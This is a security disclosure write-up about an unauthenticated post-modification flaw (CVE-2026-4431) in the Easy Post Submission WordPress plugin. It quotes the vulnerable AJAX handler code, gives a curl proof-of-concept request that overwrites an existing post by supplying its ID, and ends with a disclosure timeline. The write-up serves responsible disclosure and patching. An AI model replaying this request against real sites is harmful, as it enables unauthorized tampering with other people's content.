Easy Post Submission is a WordPress plugin that allows website admins to accept post submissions from the website’s frontend. It also supports guest post submissions, allowing users to submit posts without needing an account.
The plugin currently has 4K+ active installations and has been downloaded more than 25K+ times. While its user base is relatively small compared with major WordPress plugins, 4K+ active sites still provide a meaningful attack surface.
The Vulnerability
This is a simple missing authorization vulnerability in Easy Post Submission v2.3.0 and earlier. An unauthenticated attacker can modify an existing WordPress post by providing the post ID through the plugin’s public post-submission feature.
The issue is located in includes/client-ajax-handler.php. The plugin registers the rbsm_submit_post AJAX action for both authenticated and unauthenticated users:
add_action('wp_ajax_rbsm_submit_post', [$this, 'create_post']);
add_action('wp_ajax_nopriv_rbsm_submit_post', [$this, 'create_post']);
Requests for this action are processed by the create_post() and it process the frontend post submission for both logged-in and guest users. The function accepts a parameter postId. When this parameter value is present, the plugin treats the submission as an update to an existing post without checking the post author or permission.
$is_new_post = empty($created_post_id);
if (! $is_new_post) {
$post_data['ID'] = $created_post_id;
}
$post_id = $is_new_post
? wp_insert_post($post_data)
: wp_update_post($post_data);
It properly validated the nonce but the nonce is not enough to ensure access control !
As a result, an unauthenticated visitor who can access the submission form can obtain a valid nonce and form ID by visiting the submission form page. Then they can send a POST request to the admin-ajax.php endpoint with action rbsm_submit_post. The request can be similar like the following
curl -i 'https://wordpress.example/wp-admin/admin-ajax.php' \
-d 'action=rbsm_submit_post' \
-d '_nonce=e749690b03' \
-d 'formId=1' \
-d 'postId=22' \
-d 'userName=Hacker' \
-d 'userEmail=hacker@example.com' \
-d 'title=PoC Title' \
-d 'excerpt=PoC excerpt' \
--data-urlencode 'content=<p>Updated PoC content</p>'
Disclosure Timeline
- Feb 2, 2026 : I reported the vulnerability through Wordfence Intelligence
- Mar 19, 2026 : The report was validated and CVE-2026-4431 was assigned.
- Aug 4, 2026 : The CVE was disclosed publicly.
References
